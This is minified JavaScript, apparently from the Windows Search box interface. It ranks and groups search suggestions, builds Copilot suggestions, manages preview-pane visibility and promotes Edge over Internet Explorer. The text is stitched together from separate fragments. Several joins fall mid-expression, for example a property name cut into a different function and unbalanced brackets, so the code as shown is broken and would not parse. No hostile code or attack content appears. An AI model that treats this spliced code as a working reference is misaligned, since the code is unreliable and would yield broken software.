t=_ge("preBootstrapPane");t&&(n.setVisibility(t,!1),t.remove());n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark("WSBPage.bindBootstrapDone")});n.Host.bindShown(()=>{n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().beginMark("WSBPage.bindShown"),this.applyAccentColor(),n.config.isRewardsWidgetEnabled&&this.addRewardsWidget(),this.setThemeBasedCss(),n.setVisibility(n.StaticHtmlElements.root,!0),n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark("WSBPage.bindShown")});n.Host.bindAppHidden(()=>{n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().beginMark("WSBPage.bindAppHidden"),this._openPreviewPaneButtonCache=undefined,n.setVisibility(n.StaticHtmlElements.qfPreviewPane,!1),n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark("WSBPage.bindAppHidden")});n.Host.bindQueryChangedOrInitialized(()=>{n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().beginMark("WSBPage.bindQueryChangedOrInitialized"),this._isFileExplorerOrControlPanel&&this.updateFENarratorSuggestionCount(null),n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark("WSBPage.bindQueryChangedOrInitialized")});n.Host.bindSearchBoxClick(()=>{n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().beginMark("WSBPage.bindSearchBoxClick"),n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark("WSBPage.bindSearchBoxClick")});const i=()=>{n.RuntimeConfig.AlwaysWide||(this._previewPaneVisible=!1,n.setVisibility(n.StaticHtmlElements.qfPreviewPane,!1)),(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkUpsellApplicable())&&this.updateWorkUpsellAreaView(undefined),(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&this.updateNotificationBannerAreaView(null),this.setDebugWindowVisibility(!1),n.config.wsbWithCopilotQF&&(n.setVisibility(n.StaticHtmlElements.qfContainer,!0),n.setVisibility(n.StaticHtmlElements.qfPreviewPane,!0),n.setVisibility(n.StaticHtmlElements.groups,!0),n.setVisibility(n.StaticHtmlElements.copilotChat,!1))};n.Host.bindDismissed(()=>{this.resetSuggestionsContainerHeight(),i(),n.config.showShimmerOnDismiss&&(this._shimmerShown=!0,n.StaticHtmlElements.shimmerContainer.classList.remove("b_hide"),n.StaticHtmlElements.rootContainer.classList.add("b_hide"))});!n.View.PerformanceWidget||!n.StaticHtmlElements.performanceWidget||(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.hidePerfWidget)||(n.setVisibility(n.StaticHtmlElements.performanceWidget,!0),n.Host.bindShown(()=>{this.renderReactView("performanceWidget",n.View.PerformanceWidget,{keystrokeTimeline:null})}),n.InstrumentationHelper.bindKeystrokeTimelineUpdated(t=>{this.renderReactView("performanceWidget",n.View.PerformanceWidget,{keystrokeTimeline:t})}));n.config.alwaysWideBeforeRS5&&t.addEventListener("openanimationcompleted",()=>{this.ensureWebViewWidthExpanded()});t.addEventListener("resettingtodefaultsize",()=>{i()});n.config.limitScaleRange&&window.addEventListener("resize",()=>{n.limitTextScaleRange()});sj_be(sj_b,"contextmenu",n=>{let t=n.target;while(t){if(t.classList.contains("allowcontextmenu"))break;t=t.parentElement}t||sj_pd(n)})}setConditionalCss(t,i){this.setConditionalCssOnElement(n.StaticHtml
Type.Folders},{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Store}]);(n.config.enableWinStoreAppPreview||n.config.enableWinStoreAppDataProvider)&&(i=[{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Store},{type:n.GroupType.Documents,source:1},]);n.isHighPriorityFileProviderEnabled()&&n.AccessTokenManager.getWindowsAccountType()!=1&&(i=[{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Documents},],(n.config.enableWinStoreAppPreview||n.config.enableWinStoreAppDataProvider)&&(i=[{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Store},{type:n.GroupType.Documents},]),n.config.enableCopIFFAboveTheWeb&&(i=[{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Documents},{type:n.GroupType.Documents,source:1},{type:n.GroupType.Documents,source:2},{type:n.GroupType.Documents,source:3},{type:n.GroupType.Documents,source:4},{type:n.GroupType.Photos},{type:n.GroupType.Folders},{type:n.GroupType.Store}]),n.config.enableCopIFFAboveAll&&(i=[{type:n.GroupType.Documents},{type:n.GroupType.Documents,source:1},{type:n.GroupType.Documents,source:2},{type:n.GroupType.Documents,source:3},{type:n.GroupType.Documents,source:4},{type:n.GroupType.Photos},{type:n.GroupType.Folders},{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Store}]));n.RuntimeConfig.QfMode==12&&(i=[{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Documents},{type:n.GroupType.Documents,source:1},{type:n.GroupType.Documents,source:2},{type:n.GroupType.Documents,source:3},{type:n.GroupType.Documents,source:4},{type:n.GroupType.Photos},{type:n.GroupType.Folders},{type:n.GroupType.Copilot},{type:n.GroupType.SearchSuggestions},{type:n.GroupType.Websites},{type:n.GroupType.Other}]);n.config.topHitMuse&&(i=[{type:n.GroupType.Apps},{type:n.GroupType.AnaheimDataTopHit},{type:n.GroupType.Settings},{type:n.GroupType.Documents,source:1}]);for(let u of i)t.some(t=>n.sameGroup(t,u))&&r.push(u);return t.some(t=>n.sameGroup(t,{type:n.GroupType.SearchSuggestions}))&&r.push({type:n.GroupType.SearchSuggestions}),n.config.enableFromYourHistory&&t.some(t=>n.sameGroup(t,{type:n.GroupType.FromYourHistory}))&&r.push({type:n.GroupType.FromYourHistory}),r}}t.Aggregator=o})(t=n.Ranking||(n.Ranking={}))}(WSB||(WSB={})),function(n){function e(t,i){t(n.getCurrentTime(),n.getInputType(i),i)}function i(n,t){let i=parseInt(n.substr(1),16),r=i>>16&255,u=i>>8&255,f=i&255;return"rgba("+r+","+u+","+f+","+t+")"}function r(n,t){var i=parseInt(n.slice(1),16),r=t<0?0:255,u=t<0?t*-1:t,f=i>>16,e=i>>8&255,o=i&255;return"#"+(16777216+(Math.round((r-f)*u)+f)*65536+(Math.round((r-e)*u)+e)*256+(Math.round((r-o)*u)+o)).toString(16).slice(1)}n.invokeClickHandler=e;n.SinglePaneWidth=344;n.PreviewPaneWidth=440;n.DebugWindowWidth=800;n.CobaltPreviewPaneWidth=410;n.CobaltPreviewPaneWidthLarge=448;const o="qfContainer",u="workScopeSubVerticalsContainer";let t,f="aria-selected";n.MaxTextScaleThres=1.2;n.MinTextScaleThres=.8;class s{constructor(){this._windowsTemporaryMessageShown=!1;this._progressBarVisible=!1;this._previewPaneVisible=!1;this._debugWindowVisible=!1;this._suggestionsContainerHeight=0;this._renderingInProgress=!1;this._narratorLaunchHandlers=[];this._viewData={};this._targetElemCache={};this._shimmerShown=!1;this._copilotChatQueryCount=0;this.scrollTo=(t,i,r)=>{var s;let f=_ge(t.id);const l=(s=this._qfContainer)===null||s===void 0?void 0:s.contains(f);while(r&&l&&(f===null||f===void 0?void 0:f.offsetParent.id)!==o)f=f.parentElement;let e;const h=n.msbDsbHost&&n.isMsbEnterprise()&&t.dsb,c=i&&h?_ge(n.MsbDsb.MAINPAGE_CONTAINER_SCROLL):n.StaticHtmlElements.msbDsbRoot;if(n.config.disbaleWideForLargeTextScale){const t=(f===null||f===void 0?void 0:f.closest(".suggsList"))!=null;e=h?c:!n.config.enableWin11SSH&&i&&!t?n.StaticHtmlElements.root:r&&(f===null||f===void 0?void 0:f.id)===u?n.StaticHtmlElements.qfContainerScroll:this._qfContainer;this.scrollToElement(f,e,e.offsetHeight);this.scrollToElementBottomHorizontalScrollBar(f,_qs(".resultsContainer"),_qs(".resultsContainer").offsetChildGroups).forEach((n,u)=>{const f=parseInt(n),e=this.getMaxChildSuggestions(t,i,f);if(e>0){const n=i.childSuggestions.filter(n=>n.groupType==f).slice(0,e);n.forEach((n,t)=>{n.handoffType===21||(n.rankingScore=1e4-100*u-t),r.push(n)})}})}getMaxChildSuggestions(t,i,r){var u;return n.isMsbVerticalOnlineSuggestionType(i.type)?t?((u=i.childSuggestions)===null||u===void 0?void 0:u.length)||0:n.config.msbVerticalChildSuggestionsInL1||0:n.contains(n.config.suppressedTopHitChildGroups,r)?0:n.config.topHitChildGroups[r]}canRenderChildSuggestions(t,i){if(n.RuntimeConfig.FlatListWithoutGroups||t.length!=1)return!1;let r=t[0];if(n.RuntimeConfig.AlwaysWide){const n=r.previewPaneType===1,t=r.handoffType===21,i=r.type==="MPPL"&&!!r.calculateChildSuggestions;if(!n&&!t&&!i)return!1}if(!i||r.handoffType===21)return!0;if(this._renderedTopResults.topResults.length==1){let t=this._renderedTopResults.topResults[0];return t.hasChildSuggestionsDisplayed&&t.query==r.query&&n.getGroupType(t)==n.getGroupType(r)}return!1}insertSuggestionsToRightPlace(t,i){if(i.length==0)return t;let r=[],u=i[0];for(let f=0;f<t.length;f++){let e=t[f];e==u?r=r.concat(i):n.contains(i,e)||r.push(e)}return r}ensureUniqueReactKeys(t){let i={};if(t)for(let r=t.length-1;r>=0;r--){let u=t[r];if(i[u.reactKey]){let i=t.splice(r,1),u=i[0].mayContainPII?i[0].type:i[0].reactKey;n.LogWSBError("ensureUniqueReactKeys","Found two suggestions with the same key: "+u,undefined,undefined,undefined,"WindowsTelemetry")}else i[u.reactKey]=1}}getScoreBasedGroupRanking(t,i,r){const u=[];for(const f of t){const t=[];for(const u of i){const i=n.getGroupType(u),e={type:i,source:u.sourceForGroup};n.sameGroup(f,e)&&r.indexOf(u)===-1&&t.push(u)}u.push({group:f,suggestions:t})}const e=n=>{if(n.length===0)return 0;let t=0;for(const i of n)t+=i!==null&&i!==void 0?i:0;return t/n.length},o=n=>{if(n.length===0)return 0;let t=0;for(const i of n)t+=i!==null&&i!==void 0?i:0;return t};let f=[];if(n.config.scoreBasedGroupRanking==="HighestScoreGroupOrder")f=t.slice().sort((t,i)=>{const r=u.find(i=>n.sameGroup(i.group,t)).suggestions,f=u.find(t=>n.sameGroup(t.group,i)).suggestions,e=Math.max(...r.map(n=>{var t;return(t=n.rankingScore)!==null&&t!==void 0?t:Number.MIN_VALUE})),o=Math.max(...f.map(n=>{var t;return(t=n.rankingScore)!==null&&t!==void 0?t:Number.MIN_VALUE}));return-(e-o)});else if(n.config.scoreBasedGroupRanking==="AverageScoreGroupOrder")f=t.slice().sort((t,i)=>{const r=u.find(i=>n.sameGroup(i.group,t)).suggestions,f=u.find(t=>n.sameGroup(t.group,i)).suggestions,o=e(r.map(n=>{var t;return(t=n.rankingScore)!==null&&t!==void 0?t:0})),s=e(f.map(n=>{var t;return(t=n.rankingScore)!==null&&t!==void 0?t:0}));return-(o-s)});else if(n.config.scoreBasedGroupRanking==="SumScoreGroupOrder")f=t.slice().sort((t,i)=>{const r=u.find(i=>n.sameGroup(i.group,t)).suggestions,f=u.find(t=>n.sameGroup(t.group,i)).suggestions,e=o(r.map(n=>{var t;return(t=n.rankingScore)!==null&&t!==void 0?t:0})),s=o(f.map(n=>{var t;return(t=n.rankingScore)!==null&&t!==void 0?t:0}));return-(e-s)});else if(n.config.scoreBasedGroupRanking==="FrequencyGroupOrder"){const r=[{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Documents},{type:n.GroupType.Photos},{type:n.GroupType.Folders},{type:n.GroupType.SearchSuggestions},],i=[];for(const n of r)for(const r of t)r.type===n.type&&i.push(r);f=i}return f}getStaticGroupOrder(t){let r=[],i=[{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Documents,source:1},];n.config.enableCopIFFAboveTheWeb&&(i=[{type:n.GroupType.Apps},{type:n.GroupType.Settings},{type:n.GroupType.Documents},{type:n.GroupType.Documents,source:1},{type:n.GroupType.Documents,source:2},{type:n.GroupType.Documents,source:3},{type:n.GroupType.Documents,source:4},{type:n.GroupType.Photos},{type:n.GroupType.Folders},{type:n.GroupType.Store}]);n.config.enableCopIFFAboveAll&&(i=[{type:n.GroupType.Documents},{type:n.GroupType.Documents,source:1},{type:n.GroupType.Documents,source:2},{type:n.GroupType.Documents,source:3},{type:n.GroupType.Documents,source:4},{type:n.GroupType.Photos},{type:n.Group.filter(t=>!n.contains(e,t)),a=[];n.RuntimeConfig.FlatListWithoutGroups||l.forEach((t,i)=>{this.allowedInGroups(t)||(n.getScope(n.getGroupType(t))==n.Scope.All?a.push(i):t.suppressed=!0)});this.determineANASuggestionsToRemoveForZeroInput(l,a,s);for(let n=a.length-1;n>=0;--n)l.splice(a[n],1);if(o.searchTheWeb){let t=e.indexOf(o.searchTheWeb);if(t!=-1){let r=n.removeFirstWhere(l,n=>i(n,s));r&&(e[t]=r)}}let v=l.filter(t=>n.contains([n.GroupType.SearchSuggestions,n.GroupType.FromYourHistory,n.GroupType.Websites,n.GroupType.LocalPlaces],n.getGroupType(t))),p=l.filter(n.enforceOriginalOrder);const y=u.find(n=>n.handoffType===21);return n.config.enableAnaheimRelevance==2&&(v=l.filter(t=>n.contains([n.GroupType.Websites,n.GroupType.LocalPlaces],n.getGroupType(t)))),!h&&this.canRenderChildSuggestions(e,c,s)?this.addChildSuggestions(t,e[0],l):(s===null||s===void 0?void 0:s.scope)===n.Scope.Work&&y&&this.addChildSuggestions(t,y,l),s.queryToFetch&&l.sort((n,t)=>t.rankingScore-n.rankingScore),this.insertDefaultSearchTheWeb(s,o,e,r,l,v),l=this.insertSuggestionsToRightPlace(l,p),l=this.insertSuggestionsToRightPlace(l,v),n.config.topHitMuse&&e.forEach(n=>{var t,i,r,u;return n.tooltip="gaRank:"+((t=n.rankingScore)===null||t===void 0?void 0:t.toString())+" galaunch:"+((i=n.anaheimRankingSignals)===null||i===void 0?void 0:i.visitCount)+" gaDateV:"+((u=(r=n.anaheimRankingSignals)===null||r===void 0?void 0:r.dateVisited)===null||u===void 0?void 0:u.toString())}),l}insertDefaultSearchTheWeb(t,r,u,f,e,o){if(r.searchTheWeb&&(t.scope==n.Scope.Web||t.scope==n.Scope.All)){let s=o.findIndex(n=>i(n,t));if(n.config.asCsynScoreRank&&(s=o.findIndex(n=>i(n,t)&&n.type!="CSYN")),f.some(n=>i(n,t))||u.some(n=>i(n,t))){if(s!=-1){let n=o[s];o.splice(s,1);e.splice(e.indexOf(n),1)}}else s==-1&&(o.unshift(r.searchTheWeb),e.unshift(r.searchTheWeb))}}getGroupOrder(t,i,r,u){switch(t.scope){case n.Scope.Web:if(!t.queryToFetch)return n.config.enableFromYourHistory?[{type:n.GroupType.Websites},{type:n.GroupType.FromYourHistory},{type:n.GroupType.SearchSuggestions}]:[{type:n.GroupType.Websites},{type:n.GroupType.SearchSuggestions}];break;case n.Scope.Apps:return[{type:n.GroupType.Apps},{type:n.GroupType.Store}];case n.Scope.Photos:return[{type:n.GroupType.Photos},{type:n.GroupType.SearchSuggestions}];case n.Scope.Videos:return[{type:n.GroupType.Videos},{type:n.GroupType.SearchSuggestions}]}let e=r.concat(i);e.sort((n,t)=>t.rankingScore-n.rankingScore);let s=[],h=[],o=[];for(let t of e)if(t.suppressed)h.push(t);else if(s.push(t),n.config.enableStaticGroupRanking||n.config.scoreBasedGroupRanking&&n.config.scoreBasedGroupRanking!=="Disabled"){let r=n.getGroupType(t),i={type:r,source:t.sourceForGroup};o.some(t=>n.sameGroup(t,i))||o.push(i)}h.length!=0&&(e=s.concat(h));let f=[];n.config.scoreBasedGroupRanking&&n.config.scoreBasedGroupRanking!=="Disabled"?f=this.getScoreBasedGroupRanking(o,s,u):n.config.enableStaticGroupRanking&&n.isMarketEligible(n.Host.getRegion(),n.Host.getLanguage(),n.config.disableWebCheckForGroupingLanguageRegionPairs)&&e.length>0?f=this.getStaticGroupOrder(o):n.config.enableStaticGroupRanking&&e.length>0&&n.getGroupType(e[0])!=n.GroupType.SearchSuggestions&&n.getGroupType(e[0])!=n.GroupType.FromYourHistory&&(f=this.getStaticGroupOrder(o));for(let i of e){let u=n.getGroupType(i,t===null||t===void 0?void 0:t.scope),r=this.getTypeWithSource(u,i);f.some(t=>n.sameGroup(t,r))||(!n.config.enableStaticGroupRanking||!n.isTopHitChildGroup(r)||i.handoffType===21?f.push(r):f.unshift(r))}if(n.config.disableDataSourceOnNonActiveWindow===5&&n.Host.getWindowsActivationState()===!1||n.config.adjustGroupPos){let t=n.GroupType.SearchSuggestions;if(n.config.adjustGroupPos===2&&(t=n.GroupType.Documents),f.some(n=>n.type===t)){const n=f.filter(n=>n.type===t),i=f.filter(n=>n.type!==t);f=[...n,...i]}}return f}getTypeWithSource(t,i){const r=t==n.GroupType.MRUHistory?undefined:i.sourceForGroup;return{type:t,source:r}}addChildSuggestions(t,i,r){i.calculateChildSuggestions&&i.calculateChildSuggestions();i.childSuggestions&&i.childSuggestions.length>0&&Object.keys(n.config.topHit0].rankingScore<n.config.boostWebAnswerScoreThreshold&&c.push(f.searchTheWeb)}let k=!1,d=(y=n.Host.getLanguage())===null||y===void 0?void 0:y.toLowerCase().split("-")[0],g=n.Host.getRegion().toLowerCase();return d=="en"&&["us","gb","in","au","ca"].includes(g)&&(k=!0),k&&c.length==1&&this._previousKeystrokeCache&&(c[0].type=="PP"||c[0].type=="ST")&&this._previousKeystrokeCache.setPreviousTopHit(p?null:c[0]),(n.Host.enableAddCopilotActionToBestMatch?n.Host.enableAddCopilotActionToBestMatch():!1)&&c.length==1&&n.isSuggestionWithCopilotAction(c[0])&&c.push(this.createCopilotSuggestion(c[0],e)),(e===null||e===void 0?void 0:e.scope)==n.Scope.All&&n.isSupportWebResultsInAllScopeInDMAEnabled()&&c.some(n=>n.type==="TP")&&this.appendDMASearchAppSuggestionsToTopResults(e,c,r,o),c}createCopilotSuggestion(t,i){let r="",e="",h=n.Host.getLocString("StartANewConversation");n.isSetting(t===null||t===void 0?void 0:t.type)?r=n.config.copilotSettingSuggestionString:n.isPhoto(t===null||t===void 0?void 0:t.type)?r=n.config.copilotPhotoSuggestionString:(e=t===null||t===void 0?void 0:t.extensionLC,r=n.isPowerPointSuggestion(e)?n.config.copilotPPTSuggestionString:n.isExcelSuggestion(e)?n.config.copilotExcelSuggestionString:n.config.copilotFileSuggestionString);let c=!!r&&n.Host.getLocString(r,`${HitHighlightingParser.addMarkers(t.query)}`),o=!!r&&n.Host.getLocString(r,`${t.query}`),s="&q="+o+"&form=WSBQFE",u=t===null||t===void 0?void 0:t.path;!u||(s+="&file="+u);let f=n.createSuggestion(i,c,t.getIcon,{type:0,content:null},"CopSugg",o,n.InstrumentedItem.createInstrumentedItem(t.sequenceNumber,"CopSugg"),26,t.sequenceNumber,!1,null,()=>{n.Host.launchUriWithCopilotProtocalAsync(s),SearchAppWrapper.CortanaApp.dismissApp()},!1);return f.primaryMetadata=h,f.copilotSuggestionInBestMatchMirrorType=t===null||t===void 0?void 0:t.type,!u||(f.copilotSuggestionInBestMatchMirrorFilePath=u),f}appendDMASearchAppSuggestionsToTopResults(t,i,r,u){var o,s;const h=n.Host.getDMAWebProvidersOrderMap(),l=new Set,c={},e=[],f=[];for(const n of i)n.type==="TP"?(((o=n.sourceApp)===null||o===void 0?void 0:o.applicationUserModelId)&&l.add(n.sourceApp.applicationUserModelId),f.push(n)):e.push(n);for(const n of r){const t=(s=n.sourceApp)===null||s===void 0?void 0:s.applicationUserModelId;t&&!c[t]&&(c[t]=n)}for(const n of Object.values(h)){const i=n.applicationUserModelId;if(!l.has(i)){const r=c[i];f.push(r||this.createDMAPlaceholderSuggestion(t,n,u))}}f.sort((n,t)=>{var i,r;const u=n.sourceApp?((i=h[n.sourceApp.applicationUserModelId])===null||i===void 0?void 0:i.order)||Number.MAX_SAFE_INTEGER:Number.MAX_SAFE_INTEGER,f=t.sourceApp?((r=h[t.sourceApp.applicationUserModelId])===null||r===void 0?void 0:r.order)||Number.MAX_SAFE_INTEGER:Number.MAX_SAFE_INTEGER;return u-f});const a=i.findIndex(n=>n.type==="TP");a!==-1?e.splice(a,0,...f):e.push(...f);i.length=0;i.push(...e)}createDMAPlaceholderSuggestion(t,i,r){const u=n.createSuggestion(t,t.queryToFetch,null,n.getSearchSuggestionIcon(),"TP",t.queryToFetch,n.InstrumentedItem.createInstrumentedItem(r,"TP"),1,r,!1,`DMA-${i.displayName}-Placeholder`,()=>{},!1,`DMA-${i.displayName}-Placeholder`);u.previewPaneType=1;u.sourceApp=n.Host.getThirdPartySearchAppByName(i.displayName);u.primaryMetadata=n.Host.getLocString("DMAWebSearchResults",i.displayName)+" ("+n.Host.getLocString("Loading").toLocaleLowerCase()+")";let f=u.sourceApp;return f&&f.getLogoAsDataUriAsync&&(u.getIcon=n.getDmaSuggestionIcon(f)),u}setUseRafFlag(t,i,r,u){if(n.isCortanaEnabledCache&&u==2)for(let n of t)n.handoffType!=0||n.isAnswer||(n.useRaf=!0)}determineANASuggestionsToRemoveForZeroInput(t,i,r){const u=n.canShowAnaheimDataSH(),f=n.canShowAnaheimDataSHTileE2E(),e=n.canShowAnaheimDataSHListE2E();r.isSearchHomeZI&&u&&r.scope==n.Scope.All&&t.forEach((t,r)=>{n.config.enableAnaheimDataTSTile&&(f?n.canShowAnaheimWin11ZITopSites()||t.type!="TOPL"||i.push(r):t.type=="ANAT"&&i.push(r)),n.canShowAnaheimWin11ZITopSites()&&t.type=="QSSG"&&i.push(r),e?t.type=="QSSG"&&i.push(r):(t.type=="ANAH"||t.type=="ANAR")&&i.push(r)})}determineSuggestionsToAddToGroups(t,r,u,f,e,o,s,h,c){let l=u,r){return t==r?!1:t.type=="MD"?!0:t.handoffType==1&&n.isDuplicateUrl(i,t.url,r.url)}removeProtocolIfDuplicate(t,i,r,u,f,e){if(i.protocol){let o=n=>!n.suppressed&&this.isProtocolDuplicate(n,t,i.protocol);if(r.some(o)||u.some(o)||f.some(o)){if(n.tryRemove(r,i.protocol)){if(!r.length){let t=n.removeFirstWhere(u,o)||n.removeFirstWhere(f,o);r.push(t)}}else n.tryRemove(f,i.protocol)||n.contains(u,i.protocol)&&e.push(i.protocol);i.protocol=null}}}getSuggestionsToRank(t,i,r,u){t&&(i=i.filter(t=>!n.isChildSuggestion(t)));u.recourse&&(i=i.filter(n=>n!=u.recourse));let f=i.concat(r);return u.searchTheWeb&&!n.contains(i,u.searchTheWeb)&&f.push(u.searchTheWeb),n.config.topHitMuse&&f.forEach(n=>{var t,i,r,u;return n.tooltip="Rank:"+((t=n.rankingScore)===null||t===void 0?void 0:t.toString())+" launch:"+((i=n.anaheimRankingSignals)===null||i===void 0?void 0:i.visitCount)+" DateV:"+((u=(r=n.anaheimRankingSignals)===null||r===void 0?void 0:r.dateVisited)===null||u===void 0?void 0:u.toString())}),f}determineTopResults(t,r,u,f,e,o,s,h=true){var l,a,v,y;if(n.Host.isWSBRandomizationEnabled())return[];if(n.RuntimeConfig.QfMode==12)return[];if(s||!e.queryToFetch)return t;if(n.RuntimeConfig.QfMode!=5&&(e===null||e===void 0?void 0:e.scope)==n.Scope.All&&!n.isNullOrUndefined(f===null||f===void 0?void 0:f.searchTheWeb)&&this.isArithmeticExpression(e.queryToFetch)){let n=r.find(n=>(n===null||n===void 0?void 0:n.query)===f.searchTheWeb.query&&n.type!="SW");if(n=n?n:Object.assign({},f.searchTheWeb),n.query+="=",t.length==0)return t[0]=n,t;if(!t[0].isAnswer&&t[0].query!=n.query)return t[1]=t[0],t[0]=n,i(t[1],e)&&t.splice(0,1),t}let p=n.isL2(e),b=!1;if(t.length>1&&!p)if(e.scope==n.Scope.All){if(b=t.length==2&&(n.isApp(t[0].type)||n.isSetting(t[0].type)||n.isFileOrFolder(t[0].type))&&(t[1]==f.searchTheWeb||n.isWebSuggestion(t[1])||t[1].type=="MB"),!b)return t}else return t;if(e.inorganic&&e.queryToFetch){if(t.length>0)return t;if(((l=f.searchTheWeb)===null||l===void 0?void 0:l.query)===e.queryToFetch)return t.push(f.searchTheWeb),t}let c=u.topResults;f.protocol&&f.searchTheWeb&&this._ranker.allowInTopHit(e,f.protocol)&&n.tryRemove(c,f.searchTheWeb);let w=this._previewPane?this._previewPane.getPreviewedSuggestionToForceTopHit():null;if(w&&this._ranker.allowInTopHit(e,w)){let i=t=>n.isEquivalentForPreviewPanePurposes(e,w,t),u=c.findIndex(i);if(u!=0){let n;u>0?(n=c[u],c.splice(u,1)):n=t.find(i)||r.find(i)||(f.searchTheWeb?[f.searchTheWeb]:[]).find(i);n&&c.unshift(n)}}c.length==0?t.length>0?c.push(...t):f.protocol&&this._ranker.allowInTopHit(e,f.protocol)?c.push(f.protocol):f.searchTheWeb&&this._ranker.allowInTopHit(e,f.searchTheWeb)?c.push(f.searchTheWeb):f.recourse&&this._ranker.allowInTopHit(e,f.recourse)&&c.push(f.recourse):t.length>=1&&!p&&c[0]!=t[0]&&(c.unshift(t[0]),c=c.slice(0,2));for(let i=t.length-1;i>=0;--i){let u=t[i];n.contains(c,u)||(u.useRaf&&(u.useRaf=!1),r.unshift(u))}if(f.searchTheWeb){let n=c.indexOf(f.searchTheWeb);n>=0&&c.some(n=>n!=f.searchTheWeb&&i(n,e))&&c.splice(n,1)}if(c.forEach(n=>n.suppressed=!1),n.config.enableAggregatorNewLogic){if(e.scope==n.Scope.All&&c.length===1&&(n.isApp(c[0].type)||n.isSetting(c[0].type)||n.isFileOrFolder(c[0].type))&&h&&c[0].rankingScore<n.config.boostWebAnswerScoreThreshold){let t=f.searchTheWeb,i=(a=t===null||t===void 0?void 0:t.rankingScore)!==null&&a!==void 0?a:Number.NEGATIVE_INFINITY;for(let u=0;u<r.length;u++)if(n.isWebSuggestion(r[u])||r[u].type=="MB"){const n=(v=r[u].rankingScore)!==null&&v!==void 0?v:Number.NEGATIVE_INFINITY;n>i&&(t=r[u],i=n)}t&&(n.config.boostWebNoIcon&&(t.secondaryIcon=null),c.push(t))}}else{if(e.scope==n.Scope.All&&c.length===1&&(n.isApp(c[0].type)||n.isSetting(c[0].type)||n.isFileOrFolder(c[0].type))&&h&&c[0].rankingScore<n.config.boostWebAnswerScoreThreshold)for(let t=0;t<r.length;t++)if(n.isWebSuggestion(r[t])||r[t].type=="MB"){n.config.boostWebNoIcon&&(r[t].secondaryIcon=null);c.push(r[t]);break}e.scope==n.Scope.All&&c.length===1&&(n.isApp(c[0].type)||n.isSetting(c[0].type)||n.isFileOrFolder(c[0].type))&&h&&f.searchTheWeb&&this._ranker.allowInTopHit(e,f.searchTheWeb)&&c[0,f);r.push(...u);const o=i.slice(f);return r.push(...o),r}isArithmeticExpression(n){return/^[\+\-]?((\d*\.\d+|\d+)\s*[\+\-\*\/\^]\s*)+((\d*\.\d+|\d+)\s*)$/.test(n)}removePromotedFSUPGroups(t,i){for(let r in n.config.disableFSUPPartnerAppIds){let u=t[t.findIndex(n=>n.deviceItem&&n.deviceItem.id==r)];if(u){let t=this.getGroupTypeForSuppressions(u).toString();n.contains(i,t)&&n.tryRemove(i,t)}}}dedupeAutoSuggest(t,i){const r=n=>n.type==="LAS",u=t=>(t===null||t===void 0?void 0:t.dataSource)=="Web"&&n.getGroupType(t)===n.GroupType.SearchSuggestions;if(t.some(r)&&i.some(u)){const f=new window.Map;for(let n=0;n<t.length;n++)r(t[n])&&f.set(t[n].query.toLocaleLowerCase(),n);return i.filter(i=>{var r;let e=(r=i===null||i===void 0?void 0:i.query)===null||r===void 0?void 0:r.toLocaleLowerCase();return f.has(e)&&u(i)?((i===null||i===void 0?void 0:i.secondaryIcon)&&(t[f.get(e)].secondaryIcon=n.deepCopy(i.secondaryIcon)),!1):!0})}return i}transitionInternetExplorerToEdge(t){var r;let i=(r=n.Host.getQuery().originalQuery)===null||r===void 0?void 0:r.toLowerCase();if(i==="ie"||(i===null||i===void 0?void 0:i.startsWith("internet e"))){let i=t.findIndex(t=>t.deviceItem&&n.contains(n.AnaheimAppIds,t.deviceItem.id));if(i>=0){t[i].primaryMetadata=n.Host.getLocString("EdgeToIEUpsell");t[i].classNames.twoLineMax||t[i].classNames.push("twoLineMax");let r="&ciaid=actpermedge&source=windowsSearch";t[i].click=n.config.useCobaltCSS?()=>n.Host.launchUrlWithEdgeProtocolAsync("https://go.microsoft.com/fwlink/?linkid=2181241"+r,{medium:"MSBLink"}):()=>n.Host.launchUrlWithEdgeProtocolAsync("https://go.microsoft.com/fwlink/?linkid=2181242"+r,{medium:"MSBLink"})}}}promoteEdgeOverInternetExplorer(t,i){let r=i.findIndex(t=>t.deviceItem&&t.deviceItem.id==n.InternetExplorerId),u=t.findIndex(t=>t.deviceItem&&n.contains(n.AnaheimAppIds,t.deviceItem.id));r>=0&&u>=0&&(i.unshift(t.splice(u,1)[0]),t.unshift(i.splice(r+1,1)[0]))}promotePartnerSuggestions(n,t,i){for(let r in u)if(u[r].enabled){let e=t.findIndex(n=>n.deviceItem&&n.deviceItem.id==r),f=n.findIndex(n=>n.deviceItem&&n.deviceItem.id==u[r].appToPromote);e>=0&&f>=0&&n[f].query.toLocaleLowerCase().includes(i)&&(t.unshift(n.splice(f,1)[0]),n.unshift(t.splice(e+1,1)[0]))}}applyMRUSuppressions(t,r,u,f,e){if(this.canPartiallySuppressGroups(u,f,e)){const o=3.34728026,s=3.523466,h=3.72204852,c=.5865976,l=1.37432766,a=-1.75450325;let u={};for(let v of f)if(!i(v,e)){let i=n.getGroupType(v);if(this.canBePartiallySuppressed(v,i)){if(!u[i]){let 